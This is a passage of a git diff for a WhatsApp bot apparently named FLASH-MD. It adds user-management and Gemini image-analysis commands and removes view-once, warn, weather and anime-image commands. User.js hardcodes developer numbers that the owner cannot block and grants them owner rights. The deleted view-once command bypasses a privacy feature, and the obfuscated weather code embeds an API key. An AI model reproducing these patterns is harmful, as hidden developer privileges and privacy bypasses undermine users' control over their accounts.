+ if (sec === 1) parts.push(`1 second`); + else if (sec > 1 || parts.length === 0) parts.push(`${sec} s`); + + return parts.join(', ') || '0 second'; +} diff --git a/commands/User.js b/commands/User.js new file mode 100644 index 00000000..f7d48764 --- /dev/null +++ b/commands/User.js @@ -0,0 +1,392 @@ +const { franceking } = require('../main'); +const { S_WHATSAPP_NET, downloadContentFromMessage } = require('@whiskeysockets/baileys'); +const jimp = require('jimp'); +const { Sticker, StickerTypes } = require('wa-sticker-formatter'); + +const restrictedJIDs = [ + "254742063632@s.whatsapp.net", + "254750948696@s.whatsapp.net", + "254757835036@s.whatsapp.net", + "254751284190@s.whatsapp.net" +]; + +function formatJid(input) { + const cleaned = input.replace(/[^0-9]/g, ''); + return `${cleaned}@s.whatsapp.net`; +} + +function isOwner(msg) { + const sender = msg.key.participant || msg.key.remoteJid; + return sender === global.KING_ID || [ + '254742063632@s.whatsapp.net', + '254757835036@s.whatsapp.net' + ].includes(sender); +} +function getSenderJid(msg) { + return msg.key.participant || msg.key.remoteJid; +} +let isStatusFetching = false; +let fetchInterval; + +module.exports = [ + { + name: 'block', + get flashOnly() { + return franceking(); +}, + description: 'Blocks a user on WhatsApp.', + category: 'USER', + ownerOnly: true, + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + let targetJid; + + if (msg.message?.extendedTextMessage?.contextInfo?.participant) { + targetJid = msg.message.extendedTextMessage.contextInfo.participant; + } else if (args.length > 0) { + targetJid = args[0].includes('@s.whatsapp.net') ? args[0] : formatJid(args[0]); + } else if (fromJid.endsWith('@s.whatsapp.net')) { + targetJid = fromJid; + } else { + return king.sendMessage(fromJid, { text: "Please mention or provide a number to block." }, { quoted: msg }); + } + + if (restrictedJIDs.includes(targetJid)) { + return king.sendMessage(fromJid, { text: "I'm sorry, I cannot block my developer!!" }, { quoted: msg }); + } + + try { + await king.updateBlockStatus(targetJid, "block"); + await king.sendMessage(fromJid, { text: `✅ Blocked ${targetJid} successfully.` }, { quoted: msg }); + } catch (error) { + await king.sendMessage(fromJid, { text: "❌ Error occurred while blocking the user." }, { quoted: msg }); + } + } + }, + + { + name: 'setbio', + get flashOnly() { + return franceking(); +}, + description: 'Set a custom bio/status message.', + category: 'USER', + ownerOnly: true, + + execute: async (king, msg, args) => { + const jid = msg.key.remoteJid; + const bioText = args.join(" "); + if (!bioText) { + return king.sendMessage(jid, { text: "Please provide a bio to set. Usage: `setbio `" }, { quoted: msg }); + } + + try { + await king.query({ + tag: 'iq', + attrs: { + to: S_WHATSAPP_NET, + type: "set", + xmlns: "status" + }, + content: [{ + tag: "status", + attrs: {}, + content: Buffer.from(bioText, "utf-8") + }] + }); + + return king.sendMessage(jid, { text: "Bio updated successfully!" }, { quoted: msg }); + } catch (error) { + console.error("Error updating bio:", error); + return king.sendMessage(jid, { text: "Failed to update bio. Please try again." }, { quoted: msg }); + } + } + }, + + { + name: 'autobio', + get flashOnly() { + return franceking(); +}, + description: 'Toggle automatic status updates with random facts.', + category: 'USER', + ownerOnly: true, + + execute: async (king, msg, args) => { + const jid = msg.key.remoteJid; + const command = args[0]; + + if (!command) { + return king.sendMessage(jid, { text: 'Usage: `autobio on` to enable status fetching or `autobio off` to disable it.' }, { quoted: msg }); + } + + if (command === 'on') { + if (isStatusFetching) { + return king.sendMessage(jid, { text: 'Auto-Bio is already enabled!' }, { quoted: msg }); + } + + isStatusFetching = true; + + fetchInterval = setInterval(async () => { + try { + const response = await fetch('https://nekos.life/api/v2/fact'); + if (!response.ok) throw new Error('Failed to fetch fact'); + + const data = await response.json(); + const statusMessage = `FLASH-MD BIO: ${data.fact}`; + + await king.query({ + tag: 'iq', + attrs: { + to: S_WHATSAPP_NET, + type: 'set', + xmlns: 'status' + }, + content: [{ + tag: 'status', + attrs: {}, + content: Buffer.from(statusMessage, 'utf-8') + }] + }); + } catch (error) { + console.error('Error fetching status:', error); + await king.sendMessage(jid, { text: 'Failed to update status due to an error.' }, { quoted: msg }); + } + }, 60000); + + return king.sendMessage(jid, { text: "Auto-Bio has been enabled. I'll update your WhatsApp bio every minute." }, { quoted: msg }); + } + + if (command === 'off') { + if (!isStatusFetching) { + return king.sendMessage(jid, { text: 'Auto-Bio is already disabled.' }, { quoted: msg }); + } + + clearInterval(fetchInterval); + isStatusFetching = false; + + return king.sendMessage(jid, { text: 'Status fetching disabled.' }, { quoted: msg }); + } + + return king.sendMessage(jid, { text: 'Usage: `autobio on` to enable status fetching or `autobio off` to disable it.' }, { quoted: msg }); + } + }, +{ + name: 'getpp', + get flashOnly() { + return franceking(); +}, + description: 'Get the profile picture of a user.', + category: 'USER', + + execute: async (king, msg, args) => { + const jid = msg.key.remoteJid; + const sender = getSenderJid(msg); + + const quotedMsg = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + const targetJid = msg.message?.extendedTextMessage?.contextInfo?.participant || sender; + + let ppUrl; + try { + ppUrl = await king.profilePictureUrl(targetJid, 'image'); + } catch (err) { + ppUrl = "https://static.animecorner.me/2023/08/op2.jpg"; + } + + const mess = { + image: { url: ppUrl }, + caption: 'Here is the Profile picture', + mentions: quotedMsg ? [targetJid] : [] + }; + + await king.sendMessage(jid, mess, { quoted: msg }); + } + }, + + { + name: 'whois', + get flashOnly() { + return franceking(); + }, + description: 'Get user profile picture and status.', + category: 'USER', + + execute: async (king, msg, args) => { + const jid = msg.key.remoteJid; + const sender = getSenderJid(msg); + + const quotedMsg = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + const targetJid = msg.message?.extendedTextMessage?.contextInfo?.participant || sender; + + let ppUrl; + try { + ppUrl = await king.profilePictureUrl(targetJid, 'image'); + } catch (err) { + ppUrl = "https://static.animecorner.me/2023/08/op2.jpg"; + } + + let status = "No status found."; + let dateText = ""; + + try { + const fetchedStatuses = await king.fetchStatus(targetJid); + if (Array.isArray(fetchedStatuses) && fetchedStatuses.length > 0) { + const first = fetchedStatuses[0]; + status = first?.status?.status || "No public status or user has hidden it."; + if (first?.status?.setAt) { + const date = new Date(first.status.setAt); + const formattedDate = date.toLocaleDateString("en-GB"); // DD/MM/YYYY + dateText = `\n*Set at:* ${formattedDate}`; + } + } else { + status = "No public status or user has hidden it."; + } + } catch (err) { + status = "Couldn't retrieve status due to an error."; + } + + const mess = { + image: { url: ppUrl }, + caption: `*Name:* @${targetJid.split("@")[0]}\n*Number:* ${targetJid.replace('@s.whatsapp.net', '')}\n*Status:*\n${status}${dateText}`, + mentions: quotedMsg ? [targetJid] : [] + }; + + await king.sendMessage(jid, mess, { quoted: msg }); + } +}, + { + name: 'mygroups', + get flashOnly() { + return franceking(); +}, + aliases: ['groups'], + description: 'Lists all groups the bot is in.', + category: 'USER', + ownerOnly: true, + + execute: async (king, msg, args) => { + const jid = msg.key.remoteJid; + +try { + + const allChats = await king.groupFetchAllParticipating(); + const groups = Object.values(allChats); + + if (!groups.length) { + return king.sendMessage(jid, { text: "I'm not in any group yet." }, { quoted: msg }); + } + + let groupList = `*GROUPS I AM IN*\n\n`; + + for (let group of groups) { + groupList += `*Group Name*: ${group.subject}\n`; + groupList += `*Members*: ${group.participants.length}\n`; + groupList += `*Group ID*: ${group.id}\n\n`; + } + + await king.sendMessage(jid, { text: groupList }, { quoted: msg }); + } catch (error) { + console.error('Error fetching groups:', error); + await king.sendMessage(jid, { text: 'An error occurred while fetching your groups.' }, { quoted: msg }); + } + } + }, + { + name: 'del', + get flashOnly() { + return franceking(); + }, + aliases: ['delete'], + description: 'Deletes a replied message.', + category: 'USER', + ownerOnly: true, + + execute: async (king, msg, args) => { + const jid = msg.key.remoteJid; + + const quotedMsg = msg.message?.extendedTextMessage?.contextInfo; + if (!quotedMsg) { + return king.sendMessage(jid, { text: "Please reply to a message you want to delete." }, { quoted: msg }); + } + + const isGroup = jid.endsWith('@g.us'); + if (isGroup) { + const metadata = await king.groupMetadata(jid); + const botId = king.user?.id?.split(':')[0] || ''; + const normalizedBotId = botId.includes('@s.whatsapp.net') ? botId : `${botId}@s.whatsapp.net`; + const isBotAdmin = metadata.participants.some(p => + p.id === normalizedBotId && (p.admin === 'admin' || p.admin === 'superadmin') + ); + } + + const key = { + remoteJid: jid, + id: quotedMsg.stanzaId, + fromMe: false, + participant: quotedMsg.participant + }; + + await king.sendMessage(jid, { delete: key }); + } +}, + { + name: 'restart', + get flashOnly() { + return franceking(); +}, + aliases: ['reboot'], + description: 'Restarts the bot.', + category: 'USER', + ownerOnly: true, + + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + + try { + await king.sendMessage(fromJid, { text: '♻️ Restarting bot... Please wait.' }, { quoted: msg }); + process.exit(0); + } catch (error) { + console.error('[ERROR] Restart command failed:', error); + await king.sendMessage(fromJid, { text: '❌ Failed to restart the bot. Check the logs.' }, { quoted: msg }); + } + } + }, + + { + name: 'unblock', + get flashOnly() { + return franceking(); +}, + description: 'Unblocks a user on WhatsApp.', + category: 'USER', + ownerOnly: true, + + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + let targetJid; + + if (msg.message?.extendedTextMessage?.contextInfo?.participant) { + targetJid = msg.message.extendedTextMessage.contextInfo.participant; + } else if (args.length > 0) { + targetJid = args[0].includes('@s.whatsapp.net') ? args[0] : formatJid(args[0]); + } else if (fromJid.endsWith('@s.whatsapp.net')) { + targetJid = fromJid; + } else { + return king.sendMessage(fromJid, { text: "Please mention or provide a number to unblock." }, { quoted: msg }); + } + + if (restrictedJIDs.includes(targetJid)) { + return king.sendMessage(fromJid, { text: "You cannot unblock the developer using this command." }, { quoted: msg }); + } + + try { + await king.updateBlockStatus(targetJid, "unblock"); + await king.sendMessage(fromJid, { text: `✅ Unblocked ${targetJid} successfully.` }, { quoted: msg }); + } catch (error) { + await king.sendMessage(fromJid, { text: "❌ Error occurred while unblocking the user." }, { quoted: msg }); + } + } + } +]; + + diff --git a/commands/View-once.js b/commands/View-once.js deleted file mode 100644 index 5b99ca65..00000000 --- a/commands/View-once.js +++ /dev/null @@ -1,54 +0,0 @@ -const {france}=require("../framework/france") -const {getContentType}=require("@whiskeysockets/baileys") - - - -france({nomCom:"vv",categorie:"General",reaction:"🤩"},async(dest,zk,commandeOptions)=>{ - -const {ms,msgRepondu,repondre}=commandeOptions; - - -if(!msgRepondu){return repondre("*Mentionne a view once media* .");} - - -if(msgRepondu.viewOnceMessageV2) -{ - if(msgRepondu.viewOnceMessageV2.message.imageMessage) - { - var image =await zk.downloadAndSaveMediaMessage(msgRepondu.viewOnceMessageV2.message.imageMessage) - var texte = msgRepondu.viewOnceMessageV2.message.imageMessage.caption - - await zk.sendMessage(dest,{image:{url:image},caption:texte},{quoted:ms}) - }else if(msgRepondu.viewOnceMessageV2.message.videoMessage){ - - var video = await zk.downloadAndSaveMediaMessage(msgRepondu.viewOnceMessageV2.message.videoMessage) -var texte =msgRepondu.viewOnceMessageV2.message.videoMessage.caption - - -await zk.sendMessage(dest,{video:{url:video},caption:texte},{quoted:ms}) - -} -}else -{ - return repondre("this message is not on view once .") -} - - - -}) - - - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ diff --git a/commands/Vision.js b/commands/Vision.js new file mode 100644 index 00000000..f3b75c43 --- /dev/null +++ b/commands/Vision.js @@ -0,0 +1,72 @@ +const { downloadMediaMessage } = require('@whiskeysockets/baileys'); +const vertexAI = require('../france/Gemini'); +const { franceking } = require('../main'); + +module.exports = { + name: 'vision', + aliases: ['describe', 'analyze'], + description: 'Analyze and describe an image using Gemini AI.', + category: 'AI', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + + if (!quoted?.imageMessage) { + return king.sendMessage(fromJid, { + text: '🖼️ *Reply to an image to analyze it.*' + }, { quoted: msg }); + } + + try { + const imageBuffer = await downloadMediaMessage( + { message: { imageMessage: quoted.imageMessage } }, + 'buffer', {}, { logger: console } + ); + + const prompt = args.length ? args.join(' ') : 'Describe the image in detail.'; + const ai = new vertexAI(); + + const result = await ai.chat(prompt, { + model: 'gemini-2.5-flash', + file_buffer: imageBuffer + }); + + const description = result?.[0]?.content?.parts?.[0]?.text; + + if (!description) { + return king.sendMessage(fromJid, { + text: '⚠️ No response received from Gemini AI.' + }, { quoted: msg }); + } + + await king.sendMessage(fromJid, { + text: `🧠 *Image Analysis Result:*\n\n${description}` + }, { quoted: msg }); + + } catch (err) { + const status = err.response?.status; + const errorData = err.response?.data; + const message = err.message; + const stack = err.stack; + + const errorMsg = [ + '*❌ Error analyzing image:*', + status ? `*Status:* ${status}` : '', + message ? `*Message:* ${message}` : '', + errorData ? `*Data:* ${JSON.stringify(errorData, null, 2)}` : '', + stack ? `*Stack:* ${stack}` : '' + ].filter(Boolean).join('\n\n'); + + // Limit message to 4000 characters for WhatsApp safety + const trimmedError = errorMsg.length > 4000 ? errorMsg.slice(0, 4000) + '…' : errorMsg; + + await king.sendMessage(fromJid, { + text: trimmedError + }, { quoted: msg }); + } + } +}; diff --git a/commands/Warn.js b/commands/Warn.js deleted file mode 100644 index 8691dfee..00000000 --- a/commands/Warn.js +++ /dev/null @@ -1,58 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - -const { france } = require('../framework/france'); -const {ajouterUtilisateurAvecWarnCount , getWarnCountByJID , resetWarnCountByJID} = require('../bdd/warn') -const s = require("../set") - - -france( - { - nomCom : 'warn', - categorie : 'Group' - - },async (dest,zk,commandeOptions) => { - - const {ms , arg, repondre,superUser,verifGroupe,verifAdmin , msgRepondu , auteurMsgRepondu} = commandeOptions; -if(!verifGroupe ) {repondre('this is a group commands') ; return}; - -if(verifAdmin || superUser) { - if(!msgRepondu){repondre('reply a message of user to warn'); return}; - - if (!arg || !arg[0] || arg.join('') === '') { - await ajouterUtilisateurAvecWarnCount(auteurMsgRepondu) - let warn = await getWarnCountByJID(auteurMsgRepondu) - let warnlimit = s.WARN_COUNT - - if( warn >= warnlimit ) { await repondre('this user reach limit of warning , so i kick him/her'); - zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "remove") - } else { - - var rest = warnlimit - warn ; - repondre(`this user is warned , rest before kick : ${rest} `) - } -} else if ( arg[0] === 'reset') { await resetWarnCountByJID(auteurMsgRepondu) - - repondre("Warn count is reset for this user")} else ( repondre('reply to a user by typing .warn ou .warn reset')) - -} else { - repondre('you are not admin') -} - - }); diff --git a/commands/Weather.js b/commands/Weather.js deleted file mode 100644 index af3c9fc0..00000000 --- a/commands/Weather.js +++ /dev/null @@ -1,25 +0,0 @@ - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - - - - -const _0x53daae=_0x52e8;function _0x52e8(_0x36594a,_0xdc033d){const _0x322d4a=_0x322d();return _0x52e8=function(_0x52e8e9,_0x416306){_0x52e8e9=_0x52e8e9-0xd1;let _0x877271=_0x322d4a[_0x52e8e9];return _0x877271;},_0x52e8(_0x36594a,_0xdc033d);}(function(_0x5b3c33,_0x1aafdb){const _0x38e4e3=_0x52e8,_0x64b6e=_0x5b3c33();while(!![]){try{const _0x5bf1ba=-parseInt(_0x38e4e3(0xd6))/0x1+-parseInt(_0x38e4e3(0xd2))/0x2*(parseInt(_0x38e4e3(0xdb))/0x3)+parseInt(_0x38e4e3(0xeb))/0x4*(-parseInt(_0x38e4e3(0xfd))/0x5)+parseInt(_0x38e4e3(0xd7))/0x6+parseInt(_0x38e4e3(0xee))/0x7+parseInt(_0x38e4e3(0xd4))/0x8*(-parseInt(_0x38e4e3(0xe2))/0x9)+parseInt(_0x38e4e3(0xf4))/0xa*(parseInt(_0x38e4e3(0xe7))/0xb);if(_0x5bf1ba===_0x1aafdb)break;else _0x64b6e['push'](_0x64b6e['shift']());}catch(_0x4a8714){_0x64b6e['push'](_0x64b6e['shift']());}}}(_0x322d,0x3d910));const axios=require(_0x53daae(0xfc)),fs=require('fs'),{france}=require(_0x53daae(0xf5)),{writeFile}=require(_0x53daae(0xf2));function _0x322d(){const _0x2cb98a=['join','sys','fs/promises','toLocaleTimeString','2110kRBAlp','../framework/france','name','\x20mm\x0a☁️\x20*Cloudiness:*\x20','%\x0a🌄\x20*Sunrise:*\x20','sunset','\x0a\x0a🗺\x20*Country:*\x20','speed','axios','71010KByyhn','wind','122tthLgl','\x0a🌪️\x20*Longitude:*\x20','88fGcwIT','main','243498gzzwYt','1589892pvVNZB','https://api.openweathermap.org/data/2.5/weather?q=','temp','Search','22182iwoRTp','clouds','weather','country','coord','feels_like','°C\x0a📝\x20*Description:*\x20','67275oWsnBw','\x0a🌫️\x20*Latitude:*\x20','lon','&units=metric&appid=060a6bcfa19809c2cd4d97a212b19273&language=en','json','39611jBPtuT','%\x0a🌀\x20*Wind\x20Speed:*\x20','\x0a\x0a🌡️\x20*Temperature:*\x20','🌡️','76FhMoDk','\x0a\x0a\x0a*°Powered\x20by\x20FLASH-MD*','Give\x20me\x20location...','1917846XvAlRt','lat'];_0x322d=function(){return _0x2cb98a;};return _0x322d();}france({'nomCom':_0x53daae(0xdd),'reaction':_0x53daae(0xea),'categorie':_0x53daae(0xda)},async(_0x626df9,_0x17e5bb,_0x37baf6)=>{const _0x1f4f83=_0x53daae,{repondre:_0xecdf09,arg:_0x1180fa,ms:_0x13dd7a}=_0x37baf6,_0x445647=_0x1180fa[_0x1f4f83(0xf0)]('\x20');if(!_0x445647)return _0xecdf09(_0x1f4f83(0xed));const _0x470189=await fetch(_0x1f4f83(0xd8)+_0x445647+_0x1f4f83(0xe5)),_0x4bfc6=await _0x470189[_0x1f4f83(0xe6)](),_0x3cf19a=_0x4bfc6[_0x1f4f83(0xf6)],_0x52e997=_0x4bfc6[_0x1f4f83(0xd5)][_0x1f4f83(0xd9)],_0x4a467f=_0x4bfc6['main'][_0x1f4f83(0xe0)],_0x1ff035=_0x4bfc6[_0x1f4f83(0xd5)]['temp_min'],_0x44effe=_0x4bfc6[_0x1f4f83(0xd5)]['temp_max'],_0x32180e=_0x4bfc6[_0x1f4f83(0xdd)][0x0]['description'],_0x2da493=_0x4bfc6[_0x1f4f83(0xd5)]['humidity'],_0x368581=_0x4bfc6[_0x1f4f83(0xd1)][_0x1f4f83(0xfb)],_0x28a97c=_0x4bfc6['rain']?_0x4bfc6['rain']['1h']:0x0,_0x39a4af=_0x4bfc6[_0x1f4f83(0xdc)]['all'],_0x41b2f8=new Date(_0x4bfc6['sys']['sunrise']*0x3e8),_0x4393a0=new Date(_0x4bfc6[_0x1f4f83(0xf1)][_0x1f4f83(0xf9)]*0x3e8);await _0xecdf09('❄️\x20Weather\x20in\x20'+_0x3cf19a+_0x1f4f83(0xe9)+_0x52e997+_0x1f4f83(0xe1)+_0x32180e+'\x0a❄️\x20*Humidity:*\x20'+_0x2da493+_0x1f4f83(0xe8)+_0x368581+'\x20m/s\x0a🌧️\x20*Rain\x20Volume\x20(last\x20hour):*\x20'+_0x28a97c+_0x1f4f83(0xf7)+_0x39a4af+_0x1f4f83(0xf8)+_0x41b2f8[_0x1f4f83(0xf3)]()+'\x0a🌅\x20*Sunset:*\x20'+_0x4393a0[_0x1f4f83(0xf3)]()+_0x1f4f83(0xe3)+_0x4bfc6[_0x1f4f83(0xdf)][_0x1f4f83(0xef)]+_0x1f4f83(0xd3)+_0x4bfc6[_0x1f4f83(0xdf)][_0x1f4f83(0xe4)]+_0x1f4f83(0xfa)+_0x4bfc6[_0x1f4f83(0xf1)][_0x1f4f83(0xde)]+_0x1f4f83(0xec));}); diff --git a/commands/Weeb.js b/commands/Weeb.js deleted file mode 100644 index 95c7ddf2..00000000 --- a/commands/Weeb.js +++ /dev/null @@ -1,162 +0,0 @@ - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - -const axios = require('axios'); -const fs = require('fs'); -const { france } = require("../framework/france"); -const { writeFile } = require('fs/promises') - -// Commande waifu -france({ - nomCom: "waifu", - categorie: "Weeb", - reaction: "😏" -}, -async (origineMessage, zk, commandeOptions) => { - const { repondre, ms } = commandeOptions; - - const url = 'https://api.waifu.pics/sfw/waifu'; // Remplacez avec le lien réel de l'API waifu.pics - - try { - - for (let i = 0; i < 5; i++) { - const response = await axios.get(url); - const imageUrl = response.data.url; - - zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); - } - } catch (error) { - repondre('Erreur lors de la récupération des données :', error); - } -}); - -// Commande neko -france({ - nomCom: "neko", - categorie: "Weeb", - reaction: "😺" -}, -async (origineMessage, zk, commandeOptions) => { - const { repondre, ms } = commandeOptions; - - const url = 'https://api.waifu.pics/sfw/neko'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API de nekos - - try { - for (let i = 0; i < 5; i++) { - const response = await axios.get(url); - const imageUrl = response.data.url; - - zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); - } - } catch (error) { - repondre('Erreur lors de la récupération des données :', error); - } -}); - -// Commande shinobu -france({ - nomCom: "shinobu", - categorie: "Weeb", - reaction: "🦋" -}, -async (origineMessage, zk, commandeOptions) => { - const { repondre, ms } = commandeOptions; - - const url = 'https://api.waifu.pics/sfw/shinobu'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API avec des images de Shinobu - - try { - for (let i = 0; i < 5; i++) { - const response = await axios.get(url); - const imageUrl = response.data.url; - - zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); - } - } catch (error) { - repondre('Erreur lors de la récupération des données :', error); - } -}); - -// Commande megumin -france({ - nomCom: "megumin", - categorie: "Weeb", - reaction: "💥" -}, -async (origineMessage, zk, commandeOptions) => { - const { repondre, ms } = commandeOptions; - - const url = 'https://api.waifu.pics/sfw/megumin'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API avec des images de Megumin - - try { - for (let i = 0; i < 5; i++) { - const response = await axios.get(url); - const imageUrl = response.data.url; - - zk.sendMessage(origineMessage,{ image: { url: imageUrl } }, { quoted: ms }); - } - } catch (error) { - repondre('Erreur lors de la récupération des données :', error); - } -}); - - - -france({ - nomCom: "cosplay", - categorie: "Weeb", - reaction: "😏" -}, -async (origineMessage, zk, commandeOptions) => { - const { repondre, ms } = commandeOptions; - - - - try { - for (let i = 0; i < 5; i++) { - let url = 'https://fantox-cosplay-api.onrender.com/' - - const response = await axios.get(url, { responseType: 'arraybuffer' }) - - - - const image = response.data; - - await writeFile('./cosplay.jpg', image) - zk.sendMessage(origineMessage,{image : {url : `./cosplay.jpg`}},{quoted :ms}) } - - } catch (e) { - repondre("je reçois malheureusement une erreur : " + e); - } -}); - - -france({nomCom:"couplepp",categorie: "Weeb",reaction : "💞"},async(dest,zk,commandeOptions)=>{ const {repondre , ms} = commandeOptions; - let api = 'https://smiling-hosiery-bear.cyclic.app/weeb/couplepp' - try { - repondre('she/he dont love you :)') - const result = await axios.get(api) - - - zk.sendMessage(dest, { image: { url: result.data.male }, caption: `For Man` }, { quoted: ms }) - zk.sendMessage(dest, { image: { url: result.data.female }, caption: `_For woman_` }, { quoted: ms }) - - } catch (e) { repondre(e)} - -} - ) diff --git a/commands/Welcome.js b/commands/Welcome.js new file mode 